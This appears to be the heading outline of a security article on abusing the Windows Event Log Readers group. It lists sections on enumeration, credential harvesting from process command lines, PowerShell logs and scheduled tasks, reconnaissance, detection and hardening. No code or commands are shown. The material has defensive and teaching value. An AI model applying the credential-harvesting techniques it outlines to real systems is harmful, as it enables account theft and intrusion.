Event ID 4624: Successful Logon
Event ID 4625: Failed Logon
Event ID 4672: Special Privileges Assigned
Event ID 4648: Logon with Explicit Credentials
Application and System Logs
PowerShell Operational Logs
Scheduled Task Logs
Enumeration Techniques
Confirming Group Membership
Step 1: Check Local Group Membership
Step 2: Verify Log Access
Step 3: Enumerate Audit Policy
Remote Event Log Access
Credential Harvesting Techniques
Extracting Credentials from Process Command Lines
PowerShell Script Block Credential Extraction
Scheduled Task Credential Extraction
Intelligence Gathering and Reconnaissance
Mapping Privileged Access Patterns
Enumerating Service Accounts
Lateral Movement Detection and Mapping
Application and Service Enumeration
Detection and Monitoring
Detecting Malicious Event Log Queries
Indicators of Compromise
Logging Event Log Access
Network-Based Detection
Behavioral Baselining
Identify Legitimate Accessors
Establish Normal Query Patterns
Alert on Deviations
Mitigation and Hardening
Principle of Least Privilege
Step 1: Audit Current Membership
Step 2: Remove Unnecessary Members
Step 3: Implement Just-In-Time Access
Disable Command Line Logging for Sensitive Operations
Implement Alternative Credential Methods
Log Forwarding and Centralization
Configure Windows Event Forwarding (WEF)
Configure Source Systems
Benefits
Enhanced Auditing Configuration
Conclusion
Key Takeaways
Defense Checklist
References
MITRE ATT&CK Techniques
Common Weakness Enumeration
Microsoft Documentation
Security Resources
Event Log Readers Group Exploitation | Drake Axelrod